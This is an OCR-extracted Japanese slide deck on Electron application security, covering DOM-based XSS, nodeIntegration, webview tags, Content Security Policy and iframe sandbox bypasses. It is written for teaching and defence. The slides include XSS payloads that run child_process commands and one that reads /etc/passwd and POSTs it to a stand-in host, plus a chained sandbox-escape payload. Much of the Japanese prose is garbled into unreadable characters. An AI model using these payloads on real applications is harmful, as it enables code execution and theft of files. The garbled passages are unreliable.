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registerURLSchemeAsPrivileged
executeJavaScript
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» Secure Programming HOWTO

http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html
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DOM-based XSSH'HEEL T L)
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fs.readFile( filename, (err,data)=>{
if(lerr)element.innerHTML = data; //XSS!

)

fs.readdir ( dirname, (err,files)=>{

files.forEach( (filename)=>{
let elm = createElement( "div" );
elm.innerHTML =

"<a href="'${filename}'>S${filename}</a>"; //XSS!
paerntElm.appendChild( elm );
});
});
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Electron TTODOM-based XSS
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// xss_payloadiIEEN > ~O—LATRER X FS
elm.innerHTML = xss_paylorad; //XSS!

/] BEE Fxss_payloadiCUA FDERRET 5 _ & CES X ECENTIEE
xss_paylorad = <img src=# onerror=
"require('child_process').exec('calc.exe', ()=>{})">";

// xss_payloadiCIA FDEZRET S & TT 71 I)LZ2EEA]EE
xss_paylorad = <img src=# onerror="

var s = require('fs').readFileSync( '/etc/passwd', 'utf-8' );
var x = new XMLHttpRequest();

x.open('POST', 'http://example.jp/', true );

x.send( s );
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XSS: The New Buffer Overflow
In many respects, an XSS vulnerability
is just as dangerous as a buffer overflow.

ZLDE DB R TXSS Mess 't DiEfR%EIE /Ny T7 A —
IN—70O—ICPEEILE 9. 99

"Security Briefs: SDL Embraces The Web", Apr. 2008

http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/en-
us/magazine/cc794277.aspx
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location.href location.hash location.search window.name
document.referrer XHR.responseText postMessage -
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location.href Tlocation.assign document.write innerHTML
eval Function setTimeout setlInterval
require child_process webFrame.executeJavaScript REPL -
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» nodeZz > THIFIFLVWWDTIE?

mainWindow = new BrowserWindow( {
width: 600,
height: 400,
webPreferences: { nodeIntegration : false }

F);
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L2 ZATnodetkge= B/aEILTSES
» webviewEZIZnodeintegration B4 %45

<webview nodeintegration src="data:text/html,
<script>
require('child_process')
.exec('calc.exe', (O)=={})
</script>
"></webview>

» window.openiZ'nodelntegration=1'% {1 &

window.open('http://example.jp/', '", 'nodelntegration=1");
// example.jpt - kD JISiZnodet&eEHFI B EIREIC 7R B
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»L > A SIZContent Security PolicyzE A

<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
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»L > A SIZContent Security PolicyzE A

<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">

<webview nodeintegration src="data:text/html,
<script>
require('child_process')
.exec('calc.exe', ()=>{})
</script>
"></webview>

» CSPHHEE SN THwebviewZTATIER I Th
HE1TR]EE
» CSPTIEIXSSOFEFIC RS 78U
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»iframe sandbox - iframe R THISEITEE L
»L A1) (DOMIZ{E)%Z 2 Tiframe sandboxA
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<iframe sandbox="allow-same-origin" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>

document.querySelector("#sh")
.contentDocument.querySelector ("#msg").innerHTML =
"Hello, XSS!<script=alert(1)<¥ /script>";
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»<iframe sandbox[="params"|> K xkmLHD

» allow-forms

» allow-scripts

» allow-same-origin

» allow-top-navigation
» allow-popups

allow-scriptsi$fEp&, ¥EF03

- IA—LDETEFR]

- 2OV DEITEEFE]
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allow-top-navigation. allow-popupsH &%
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<iframe sandbox="allow-same-origin allow-popups” id="sb"
srcdoc="<html><div id="msg'></div>..."></iframe>

var xss = <a target="_blank"
href="data:text/html,<script>alert(1);<¥ /script>">Click</a>;

document.querySelector("#sb")
.contentDocument.querySelector ("#msg") .innerHTML = xss;

iframeR TIXISIEEND 7R LD popup DR TIFISHEK

data:text/html,<script>...

- HTML5j web platform #html5jplat



DbXSSDO#EF] - iframe sandbox

<iframe sandbox="allow-same-origin allow-popups” id="sb"
srcdoc="<html><div id="msg'></div>..."></iframe>

var xss = <a target="_blank" href="data:text/html,
&lt;script&gt;1&lt;/scriptégt;&lt;webview nodeintegration
src=&quot;data:text/html,&Lt;b&gt;webview&lt; /b&gt;
&1t;scriptégt;require('child_process').exec('calc.exe',
()=>{})&lt;/script&gt;&quot;&gt;&Lt; /webviewdgt;">Click</a>";
document.querySelector ("#sb")
.contentDocument.querySelector ("#msg") .innerHTML = xss;

popupD A TlInodetEgEDEZ 5ISH ENK

1
| 3
| - e
; data:text/html, (78] 9o ][/ ][%]
(iframe) <webview nodeintegration>... E3E A
EEE
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